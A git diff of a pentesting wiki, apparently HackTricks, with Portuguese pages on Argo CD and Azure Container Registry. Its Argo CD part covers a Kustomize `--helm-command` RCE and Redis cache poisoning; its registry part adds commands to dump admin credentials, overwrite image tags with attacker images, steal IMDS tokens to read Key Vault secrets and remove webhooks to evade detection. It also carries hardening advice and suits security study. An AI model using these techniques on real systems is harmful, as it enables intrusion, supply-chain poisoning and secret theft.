repo-server é acessível a partir de pods que não são do Argo CD. -- NetworkPolicies estão ausentes ou só permitem allow-list de egress sem negar ingress. -- O repo-server tem acesso a custom config management plugins, decryption tools, ou conteúdo de repository de múltiplos tenants. -- Redis é acessível a partir de pods que não são do Argo CD, permitindo inspeção ou tampering do cache se credenciais estiverem disponíveis ou não forem necessárias. +- O endpoint gRPC do repo-server pode ser acessado a partir de pods que não pertencem ao Argo CD. +- NetworkPolicies estão ausentes ou apenas permitem egress por allow-list, sem negar ingress. +- O repo-server tem acesso a plugins personalizados de gerenciamento de configuração, ferramentas de descriptografia ou conteúdo de repositórios de múltiplos tenants. +- O Redis pode ser acessado a partir de pods que não pertencem ao Argo CD, permitindo a inspeção ou adulteração do cache caso as credenciais estejam disponíveis ou não sejam necessárias. -## Unauthenticated Repo-Server RCE via Kustomize Options +## RCE não autenticado no Repo-Server via opções do Kustomize -Em julho de 2026, a Synacktiv divulgou uma cadeia de execução de código não autenticada no `repo-server` do Argo CD quando um atacante consegue alcançar o serviço gRPC interno. O ataque abusa do acesso direto a `/repository.RepoServerService/GenerateManifest` e de `KustomizeOptions` controladas pelo atacante. +Em julho de 2026, a Synacktiv divulgou uma cadeia de execução de código não autenticada no `repo-server` do Argo CD quando um atacante consegue acessar o serviço gRPC interno. O ataque abusa do acesso direto a `/repository.RepoServerService/GenerateManifest` e de `KustomizeOptions` controladas pelo atacante. -O primitive perigoso é forçar o repo-server a clonar conteúdo de repository controlado pelo atacante e executar Kustomize com suporte a Helm: +A primitiva perigosa consiste em forçar o repo-server a clonar conteúdo de um repositório controlado pelo atacante e executar o Kustomize com suporte ao Helm: ```bash kustomize build --enable-helm --helm-command ./payload.sh ``` -Entrada maliciosa mínima do Kustomize precisa acionar o processamento do Helm: +Entrada maliciosa mínima do Kustomize necessária para acionar o processamento do Helm: ```yaml helmCharts: - name: pwn @@ -117,13 +117,13 @@ Por que isso funciona: - `argocd-repo-server` clona o repositório antes de renderizar. - `--helm-command ./payload.sh` é resolvido em relação ao repositório clonado. -- A execução de código não requer injeção de metacaracteres de shell se o atacante puder controlar o repositório renderizado e as opções de build do Kustomize. +- A execução de código não exige injeção de metacaracteres do shell se o atacante puder controlar o repositório renderizado e as opções de build do Kustomize. -No momento da divulgação da Synacktiv em 1 de julho de 2026, eles relataram que a issue não tinha correção oficial nem CVE. Trate isso primeiro como um problema de exposição de rede: a exploração exige alcance ao port gRPC interno do repo-server. +No momento da divulgação pela Synacktiv, em 1º de julho de 2026, eles relataram que o problema não tinha correção oficial nem CVE. Trate isso primeiro como um problema de exposição de rede: a exploração exige acessibilidade à porta gRPC interna do repo-server. ## Redis Cache Poisoning to Deploy Manifests -Após execução de código em `argocd-repo-server`, ou após acesso direto ao Redis com credenciais válidas, inspecione entradas de cache baseadas em Redis. O Argo CD normalmente armazena valores JSON compactados com gzip. +Após a execução de código no `argocd-repo-server`, ou após o acesso direto ao Redis com credenciais válidas, inspecione as entradas de cache armazenadas no Redis. O Argo CD normalmente armazena valores JSON compactados com gzip. Prefixos de chave interessantes: ```text @@ -132,33 +132,33 @@ git-refs|... # Git branch/ref to commit mappings app|... # application resource/cache data cluster|... # cluster cache information ``` -O ataque de cache poisoning descrito por Synacktiv abusa de duas peças de estado: +O ataque de cache poisoning descrito pela Synacktiv abusa de duas partes do estado: -1. Modificar a entrada de cache do manifesto relevante `mfst|...` para incluir um manifesto Kubernetes controlado pelo atacante. -2. Modificar o mapeamento relacionado `git-refs|...` para que o Argo CD acredite que a branch mudou e então faça reconcile de volta para a revisão em cache. +1. Modificar a entrada de cache de manifesto `mfst|...` relevante para incluir um manifesto Kubernetes controlado pelo atacante. +2. Modificar o mapeamento `git-refs|...` relacionado para fazer o Argo CD acreditar que a branch foi alterada e, em seguida, reconciliar novamente com a revisão armazenada em cache. Impacto: -- Com Auto Sync habilitado, o Argo CD pode aplicar automaticamente o manifesto em cache corrompido. -- Sem Auto Sync, o payload ainda pode ser aplicado quando um usuário fizer sync manual da aplicação. -- O impacto final é limitado pelo destino da aplicação alvo e pelas permissões Kubernetes disponíveis para o Argo CD. +- Com o Auto Sync habilitado, o Argo CD pode aplicar automaticamente o manifesto armazenado em cache e envenenado. +- Sem o Auto Sync, o payload ainda poderá ser aplicado quando um usuário sincronizar manualmente a aplicação. +- O impacto final é limitado pelo destino da aplicação-alvo e pelas permissões Kubernetes disponíveis para o Argo CD. -## ApplicationSet Attacks +## Ataques do ApplicationSet -ApplicationSet é especialmente sensível porque cria ou atualiza objetos `Application` a partir da saída do generator. +O ApplicationSet é especialmente sensível porque cria ou atualiza objetos `Application` a partir da saída do gerador. -Review: +Revisão: ```bash kubectl get applicationsets.argoproj.io -A -o yaml kubectl get appprojects.argoproj.io -A -o yaml ``` Padrões interessantes: -- Git generators lendo arquivos graváveis por attacker que controlam nomes de app, paths, projects ou destinations. -- Pull request generators para repositórios públicos onde contributors não confiáveis podem influenciar aplicações geradas. -- Campos de template que permitem broad destination clusters/namespaces. -- AppProjects que permitem `sourceRepos: ["*"]` ou broad `destinations`. -- Aplicações geradas que herdam automated sync e pruning. +- Git generators lendo arquivos graváveis pelo atacante que controlam nomes de aplicações, paths, projetos ou destinos. +- Pull request generators para repositórios públicos nos quais contribuidores não confiáveis podem influenciar as aplicações geradas. +- Campos de template que permitem clusters/destinos amplos e namespaces. +- AppProjects que permitem `sourceRepos: ["*"]` ou `destinations` amplos. +- Aplicações geradas que herdam sincronização e pruning automatizados. ## Post-Exploitation @@ -171,49 +171,50 @@ mount | grep -E 'secret|token|config' ``` Objetivos úteis: -- Roubar `REDIS_PASSWORD` ou material TLS/client do Redis. -- Extrair credenciais de repositório de secrets montados ou de secrets do Kubernetes do Argo CD. -- Identificar credenciais do cluster usadas pelo Argo CD. -- Ler manifests gerados e saída de plugin que podem incluir secrets injetados. -- Verificar se custom plugins, SOPS, Helm secrets, plugins do Vault ou cloud CLIs expõem chaves de decryption e credenciais de cloud. +- Roubar `REDIS_PASSWORD` ou material de cliente/TLS do Redis. +- Extrair credenciais de repositórios a partir de secrets montados ou secrets do Kubernetes do Argo CD. +- Identificar as credenciais de cluster usadas pelo Argo CD. +- Ler manifests gerados e a saída de plugins que possam incluir secrets injetados. +- Verificar se plugins personalizados, SOPS, Helm secrets, plugins do Vault ou cloud CLIs expõem chaves de decriptação e credenciais de cloud. -## Detection & Hardening +## Detecção e Hardening -Checks importantes: +Verificações importantes: -- Restrinja a porta **8081** do `argocd-repo-server` e a porta **6379** do Redis com NetworkPolicies para que apenas os componentes esperados do Argo CD possam acessá-los. -- Em implantações Helm, verifique se as network policies estão realmente sendo criadas. Os valores do chart Helm do Argo CD historicamente vinham com a criação de network policy dos componentes desativada por padrão. -- Mantenha `argocd-server` como o ponto de entrada autenticado. Serviços internos não devem estar acessíveis a workloads arbitrários. -- Desative ferramentas e plugins de config management não usados. -- Restrinja `AppProject` `sourceRepos`, `destinations`, permissões de namespace e recursos cluster-scoped. -- Evite armazenar credenciais amplas de repositório onde um usuário do Argo CD com pouco privilégio possa fazer com que sejam reutilizadas. -- Monitore requests do repo-server, opções de build do Kustomize, execuções de plugin, writes no Redis e acesso inesperado a chaves `mfst|` / `git-refs|`. -- Faça rotate de usuários locais do Argo CD, tokens de projeto, credenciais de repositório e credenciais de cluster após compromise. +- Restringir a porta **8081** do `argocd-repo-server` e a porta **6379** do Redis com NetworkPolicies, permitindo acesso apenas aos componentes esperados do Argo CD. +- Em deployments do Helm, verificar se as network policies são realmente criadas. Os valores do Helm chart do Argo CD historicamente deixaram a criação de network policies dos componentes desabilitada por padrão. +- Manter o `argocd-server` como ponto de entrada autenticado. Os serviços internos não devem ser acessíveis a workloads arbitrários. +- Desabilitar ferramentas e plugins de gerenciamento de configuração não utilizados. +- Restringir `sourceRepos`, `destinations`, permissões de namespace e recursos com escopo de cluster do `AppProject`. +- Evitar armazenar credenciais amplas de repositórios onde um usuário do Argo CD com poucos privilégios possa causar sua reutilização. +- Monitorar requisições ao repo-server, opções de build do Kustomize, execuções de plugins, gravações no Redis e acessos inesperados às chaves `mfst|` / `git-refs|`. +- Rotacionar usuários locais do Argo CD, tokens de projeto, credenciais de repositórios e credenciais de cluster após um comprometimento. -Useful commands: +Comandos úteis: ```bash kubectl get networkpolicy -n argocd kubectl get networkpolicy -A | grep -i argocd kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null ``` -## Nota de Static Analysis: Typed API Requests em CodeQL +## Nota de Análise Estática: Typed API Requests no CodeQL -Para serviços Go usando handlers gRPC/REST, as default CodeQL remote sources podem perder flows depois que o raw input é unmarshaled em typed request objects. Um modelo útil para serviços no estilo Argo CD é: +Para serviços Go que usam handlers gRPC/REST, as remote sources padrão do CodeQL podem não identificar os flows depois que a entrada bruta é unmarshaled em objetos de request tipados. Um modelo útil para serviços no estilo do Argo CD é: -- Receiver type como `Server` ou `Service`. +- Tipo do receiver, como `Server` ou `Service`. - O primeiro parâmetro é `context.Context`. -- O segundo parâmetro é um typed request object. +- O segundo parâmetro é um objeto de request tipado. -Modele esse segundo parâmetro como um remote source e adicione custom sinks para argumentos de `exec.Command` / `exec.CommandContext`. Isso ajuda a encontrar flows de campos de internal API request para command execution helpers. +Modele esse segundo parâmetro como uma remote source e adicione sinks personalizados para os argumentos de `exec.Command` / `exec.CommandContext`. Isso ajuda a encontrar flows dos campos de requests de APIs internas até os helpers de execução de comandos. -## References +## Referências - [Synacktiv - Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql) -- [Argo CD docs - Security considerations](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/) -- [Argo CD docs - High Availability](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/) -- [Argo CD docs - repo-server command reference](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/) -- [Argo CD - repo-server NetworkPolicy manifest](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml) -- [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/) -- [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md) -- [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md) +- [Documentação do Argo CD - Considerações de segurança](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/) +- [Documentação do Argo CD - Alta disponibilidade](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/) +- [Documentação do Argo CD - Referência de comandos do repo-server](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/) +- [Argo CD - Manifesto de NetworkPolicy do repo-server](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml) +- [Documentação do Argo CD - Métricas](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/) +- [Argo Helm - Referência de valores do chart](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md) +- [Kustomize - Exemplo de gerador de chart Helm](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md) +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md index 52b7c1b91..ed71bf4d6 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md @@ -6,4 +6,8 @@ az-azure-ai-foundry-post-exploitation.md {{#endref}} +{{#ref}} +az-container-registry-post-exploitation.md +{{#endref}} + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md new file mode 100644 index 000000000..bce6d6b03 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md @@ -0,0 +1,87 @@ +# Az - Pós-exploração do Container Registry + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Registry + +Para mais informações sobre este serviço, consulte: + +{{#ref}} +../az-services/az-container-registry.md +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write` + +Uma identidade com acesso ao plano de gerenciamento do ACR pode converter esse acesso em **credenciais Docker reutilizáveis**. Se o **admin user** estiver desabilitado, mas o principal também tiver `registries/write`, habilite-o, recupere as senhas e autentique-se diretamente em `.azurecr.io`. +```bash +az acr show --resource-group --name --query adminUserEnabled +az acr update --resource-group --name --admin-enabled true +az acr credential show -n +docker login .azurecr.io -u -p +``` +Isso é útil porque as credenciais recuperadas podem ser reutilizadas fora do Azure CLI para **list, pull, push, overwrite e, às vezes, delete** do conteúdo do registry até que a conta de administrador seja desabilitada ou as senhas sejam rotacionadas. + +### `Microsoft.ContainerRegistry/registries/pull/read` + +Use o acesso `pull` para **reconhecimento de repositórios** e **secret hunting** dentro das imagens. Revise tanto a configuração final do container quanto as camadas históricas do filesystem, pois os arquivos copiados em uma camada podem continuar recuperáveis mesmo que sejam excluídos posteriormente. +```bash +az acr repository list -n +az acr repository show-tags -n --repository --detail +docker pull .azurecr.io/: + +container_id=$(docker create .azurecr.io/:) +docker cp "$container_id":/ ./extracted_container +docker rm "$container_id" +docker inspect .azurecr.io/: | jq -r '.[0].Config.Env[]?' +dive .azurecr.io/: +``` +Alvos de alto valor incluem **variáveis de ambiente**, **configs da aplicação**, **scripts de deployment**, **certificados**, **tokens de acesso** e **connection strings**. Para obter mais ideias ao revisar as layers, consulte a página de Docker forensics: + +{{#ref}} +https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/push/write` + +O acesso de push permite que um atacante **envenene repositórios confiáveis** ou **sobrescreva tags mutáveis** como `latest`, `prod` ou `stable`. Qualquer workload que ainda faça deployment por tag em vez de digest poderá baixar a imagem do atacante no próximo deployment, evento de scale-out ou restart. +```bash +# Retag an existing local image for the target ACR + +docker tag : .azurecr.io/: +docker push .azurecr.io/: + +# If your workstation architecture differs from the target runtime, build for the consumer platform first + +docker buildx build --platform linux/amd64 -t .azurecr.io/: --load . +docker push .azurecr.io/: +``` +Antes de substituir uma tag, verifique quais repositórios e tags são realmente consumidos pelas cargas de trabalho downstream. Consumidores **fixados por digest** (`@sha256:...`) são muito mais difíceis de redirecionar do que consumidores baseados em tags. + +### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action` + +Se você puder **substituir a imagem** usada por uma carga de trabalho de container downstream e **reiniciar** essa carga, o entrypoint malicioso será executado dentro do **contexto de rede e identidade gerenciada** do container-alvo. A partir daí, a imagem poderá solicitar tokens do IMDS e acessar recursos do Azure alcançáveis pela identidade dessa carga de trabalho. +```bash +TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token) +curl -H "Authorization: Bearer $TOKEN" \ +'https://.vault.azure.net/secrets/?api-version=7.4' +az container restart --resource-group --name +``` +Isso transforma uma sobrescrita de tag do ACR em **execução de código**, **roubo de secrets** ou **movimentação lateral** dentro de qualquer consumer de container que confie na tag modificada e exponha uma identidade útil. + +### Caminho de privesc relacionado: managed identities do ACR Tasks + +Se você também tiver `Microsoft.ContainerRegistry/registries/tasks/write` e `Microsoft.ContainerRegistry/registries/runs/write`, siga para o caminho de privesc do ACR e abuse diretamente da managed identity da task: + +{{#ref}} +../az-privilege-escalation/az-container-registry-privesc.md +{{#endref}} + +## Referências + +- [TrustedSec - Pandora's Container Part 1: Desempacotando a segurança de containers do Azure](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security) +- [Microsoft Learn - Autenticação do Azure Container Registry](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication) +- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest) +- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest) +- [Microsoft Learn - Referência YAML do ACR Tasks](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md index 63b669852..2f4e98e65 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -2,39 +2,39 @@ {{#include ../../../banners/hacktricks-training.md}} -## Informações Básicas +## Informações básicas -Azure Container Registry (ACR) é um registry seguro e privado que permite **armazenar, gerenciar e acessar container images na Azure cloud**. Ele se integra perfeitamente com vários Azure services, fornecendo fluxos de trabalho automatizados de build e deployment em escala. Com recursos como geo-replication e vulnerability scanning, o ACR ajuda a garantir segurança e compliance de nível enterprise para aplicações em contêineres. +Azure Container Registry (ACR) é um registry seguro e privado que permite **armazenar, gerenciar e acessar imagens de containers na Azure cloud**. Ele se integra perfeitamente a vários serviços da Azure, fornecendo workflows automatizados de build e deployment em escala. Com recursos como geo-replicação e vulnerability scanning, o ACR ajuda a garantir segurança e conformidade de nível empresarial para aplicações containerizadas. -### Permissions +### Permissões -Estas são as **different permissions** [according to the docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) que podem ser concedidas em um Container Registry: +Estas são as **diferentes permissões** [de acordo com a documentação](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) que podem ser concedidas sobre um Container Registry: -- Access Resource Manager -- Create/delete registry -- Push image -- Pull image -- Delete image data -- Change policies -- Sign images +- Acessar o Resource Manager +- Criar/excluir registry +- Fazer push de imagem +- Fazer pull de imagem +- Excluir dados de imagem +- Alterar policies +- Assinar imagens Também existem algumas **built-in roles** que podem ser atribuídas, e também é possível criar **custom roles**. -![Azure Container Registry built-in roles permissions matrix for managing registry, image, data, policies, and signing actions](/images/registry_roles.png) +![Matriz de permissões das built-in roles do Azure Container Registry para gerenciar ações de registry, imagem, dados, policies e assinatura](/images/registry_roles.png) -### Authentication +### Autenticação > [!WARNING] -> É muito imporatant que, mesmo que o nome do registry contenha algumas letras maiúsculas, você sempre deve usar **lowercase letters** para fazer login, push e pull images. +> É muito importante que, mesmo que o nome do registry contenha letras maiúsculas, você sempre use **letras minúsculas** para fazer login, push e pull de imagens. Existem 4 maneiras de autenticar em um ACR: -- **With Entra ID**: Esta é a forma **default** de autenticar em um ACR. Ela usa o comando **`az acr login`** para autenticar no ACR. Este comando irá **armazenar as credentials** no arquivo **`~/.docker/config.json`**. Além disso, se você estiver executando este comando de um ambiente sem acesso a um docker socket, como em um **cloud shell**, é possível usar a flag **`--expose-token`** para obter o **token** para autenticar no ACR. Então, para autenticar, você precisa usar como user name `00000000-0000-0000-0000-000000000000` assim: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` -- **With an admin account**: O admin user vem desabilitado por default, mas pode ser habilitado e então será possível acessar o registry com o **username** e **password** da conta admin, com permissões completas sobre o registry. Isso ainda é suportado porque alguns Azure services o utilizam. Note que **2 passwords** são criadas para este usuário e ambas são válidas. Você pode habilitá-lo com `az acr update -n --admin-enabled true`. Note que o username geralmente é o nome do registry (e não `admin`). -- **With a token**: É possível criar um **token** com um **specific `scope map`** (permissions) para acessar o registry. Então, é possível usar o nome do token como username e qualquer uma das passwords geradas para autenticar no registry com `docker login -u -p ` -- **With a Service Principal**: É possível criar um **service principal** e atribuir uma role como **`AcrPull`** para fazer pull images. Então, será possível **fazer login to the registry** usando o SP appId como username e um secret gerado como password. +- **Com Entra ID**: Esta é a maneira **padrão** de autenticar em um ACR. Ela usa o comando **`az acr login`** para autenticar no ACR. Esse comando irá **armazenar as credenciais** no arquivo **`~/.docker/config.json`**. Além disso, se você estiver executando esse comando em um ambiente sem acesso a um socket do docker, como em um **cloud shell**, é possível usar a flag **`--expose-token`** para obter o **token** de autenticação no ACR. Então, para autenticar, você precisa usar `00000000-0000-0000-0000-000000000000` como nome de usuário, por exemplo: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` +- **Com uma conta de admin**: O usuário admin é desabilitado por padrão, mas pode ser habilitado. Depois disso, será possível acessar o registry com o **username** e a **password** da conta admin, com permissões completas no registry. Isso ainda é suportado porque alguns serviços da Azure o utilizam. Observe que são criadas **2 passwords** para esse usuário, e ambas são válidas. Você pode habilitá-lo com `az acr update -n --admin-enabled true`. Observe que o username geralmente é o nome do registry, e não `admin`. +- **Com um token**: É possível criar um **token** com um **`scope map`** (permissões) específico para acessar o registry. Depois, é possível usar o nome do token como username e qualquer uma das passwords geradas para autenticar no registry com `docker login -u -p ` +- **Com um Service Principal**: É possível criar um **service principal** e atribuir uma role como **`AcrPull`** para fazer pull de imagens. Depois, será possível **fazer login no registry** usando o appId do SP como username e um secret gerado como password. -Example script from the [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) to generate a SP with access over a registry: +Exemplo de script da [documentação](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) para gerar um SP com acesso a um registry: ```bash #!/bin/bash ACR_NAME=$containerRegistry @@ -51,39 +51,39 @@ echo "Service principal password: $PASSWORD" ``` ### Encryption -Only the **Premium SKU** supports **encryption at rest** for the images and other artifacts. +Apenas o **Premium SKU** oferece suporte à **encryption at rest** para as images e outros artifacts. ### Networking -Only the **Premium SKU** supports **private endpoints**. The other ones only support **public access**. A public endpoint has the format `.azurecr.io` and a private endpoint has the format `.privatelink.azurecr.io`. For this reason, the name of the registry must be unique across all Azure. +Apenas o **Premium SKU** oferece suporte a **private endpoints**. Os demais oferecem suporte apenas a **public access**. Um public endpoint tem o formato `.azurecr.io`, e um private endpoint tem o formato `.privatelink.azurecr.io`. Por esse motivo, o nome do registry deve ser exclusivo em todo o Azure. ### Microsoft Defender for Cloud -This allows you to **scan the images** in the registry for **vulnerabilities**. +Isso permite **scanear as images** no registry em busca de **vulnerabilities**. ### Soft-delete -The **soft-delete** feature allows you to **recover a deleted registry** within the indicated number of days. This feature is **disabled by default**. +O recurso **soft-delete** permite **recuperar um registry excluído** dentro do número de dias indicado. Esse recurso vem **desabilitado por padrão**. ### Webhooks -It's possible to **create webhooks** inside registries. In this webhook it's needed to specify the URL where a **request will be sent whenever a push or delete action is performed**. Moreover, Webhooks can indicate a scope to indicate the repositories (images) that will be affected. For example, 'foo:\*' means events under repository 'foo'. +É possível **criar webhooks** dentro dos registries. Nesse webhook, é necessário especificar a URL para a qual uma **request será enviada sempre que uma ação de push ou delete for executada**. Além disso, os Webhooks podem indicar um escopo para definir os repositórios (images) que serão afetados. Por exemplo, `foo:*` significa eventos no repositório `foo`. -From an attackers perspective it's interesting to check this **before performing any action** in the registry, and remove it terporarely if needed, to avoid being detected. +Do ponto de vista de um atacante, é interessante verificar isso **antes de executar qualquer ação** no registry e removê-lo temporariamente, se necessário, para evitar ser detectado. ### Connected registries -This basically allows to **mirror the images** from one registry to another one, usually located on-premises. +Isso basicamente permite **espelhar as images** de um registry para outro, geralmente localizado on-premises. -It has 2 modes: **ReadOnly** and **ReadWrite**. In the first one, the images are only **pulled** from the source registry, and in the second one, images can also be **pushed** to the source registry. +Ele tem 2 modos: **ReadOnly** e **ReadWrite**. No primeiro, as images são apenas **pulled** do registry de origem; no segundo, as images também podem ser **pushed** para o registry de origem. -In order for clients to access the registry from Azure, a **token** is generated when the conected registry is used. +Para que os clientes acessem o registry a partir do Azure, um **token** é gerado quando o registry conectado é usado. ### Runs & Tasks -Runs & Tasks allows to execute in Azure container related actions that you typically needed to do locally or in a CI/CD pipeline. For example, you can **build, push, and run images in the registry**. +Runs & Tasks permite executar no Azure ações relacionadas a containers que normalmente precisariam ser executadas localmente ou em um pipeline de CI/CD. Por exemplo, é possível **buildar, fazer push e executar images no registry**. -The easiest way to build and run a container is using a regular Run: +A maneira mais fácil de buildar e executar um container é usando um Run comum: ```bash # Build echo "FROM mcr.microsoft.com/hello-world" > Dockerfile @@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f # Run az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null ``` -However, isso vai acionar runs que não são muito interessantes do ponto de vista de um attacker, porque elas não têm nenhuma managed identity anexada. +No entanto, isso vai disparar execuções que não são muito interessantes do ponto de vista de um atacante, pois elas não têm nenhuma managed identity associada. -No entanto, **tasks** podem ter uma **system and user managed identity** anexada a elas. Essas tasks são as que são úteis para **escalate privileges** no container. Na seção de privileges escalation é possível ver como usar tasks para escalate privileges. +No entanto, **tasks** podem ter uma **system and user managed identity** associada a elas. Essas tasks são as úteis para **escalate privileges** no container. Na seção de privilege escalation, é possível ver como usar tasks para escalate privileges. ### Cache -A funcionalidade de cache permite **download images from an external repository** e armazenar as novas versões no registry. Ela requer ter algumas **credentials configured** selecionadas escolhendo as credentials de um Azure Vault. +O recurso de cache permite **baixar imagens de um repositório externo** e armazenar as novas versões no registry. É necessário ter algumas **credenciais configuradas**, selecionando as credenciais de um Azure Vault. -Isso é muito interessante do ponto de vista de um attacker porque permite **pivot to an external platform** se o attacker tiver permissões suficientes para acessar as credentials, **download images from an external repository** e configurar um cache também pode ser usado como **persistence mechanism**. +Isso é muito interessante do ponto de vista de um atacante, pois permite fazer **pivot para uma plataforma externa** caso o atacante tenha permissões suficientes para acessar as credenciais. **Baixar imagens de um repositório externo** e configurar um cache também pode ser usado como **mecanismo de persistência**. -## Enumeration +## Enumeração > [!WARNING] -> É muito importante que, mesmo que o nome do registry contenha algumas letras maiúsculas, você use apenas letras minúsculas na url para acessá-lo. +> É muito importante que, mesmo que o nome do registry contenha algumas letras maiúsculas, você use apenas letras minúsculas na URL para acessá-lo. ```bash # List of all the registries # Check the network, managed identities, adminUserEnabled, softDeletePolicy, url... @@ -143,18 +143,22 @@ az acr cache list --registry # Get cache details az acr cache show --name --registry ``` -## Acesso Não Autenticado +## Acesso não autenticado {{#ref}} ../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md {{#endref}} -## Escalada de Privilégios & Post Exploitation +## Escalação de privilégios & Post Exploitation {{#ref}} ../az-privilege-escalation/az-container-registry-privesc.md {{#endref}} +{{#ref}} +../az-post-exploitation/az-container-registry-post-exploitation.md +{{#endref}} + ## Referências - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)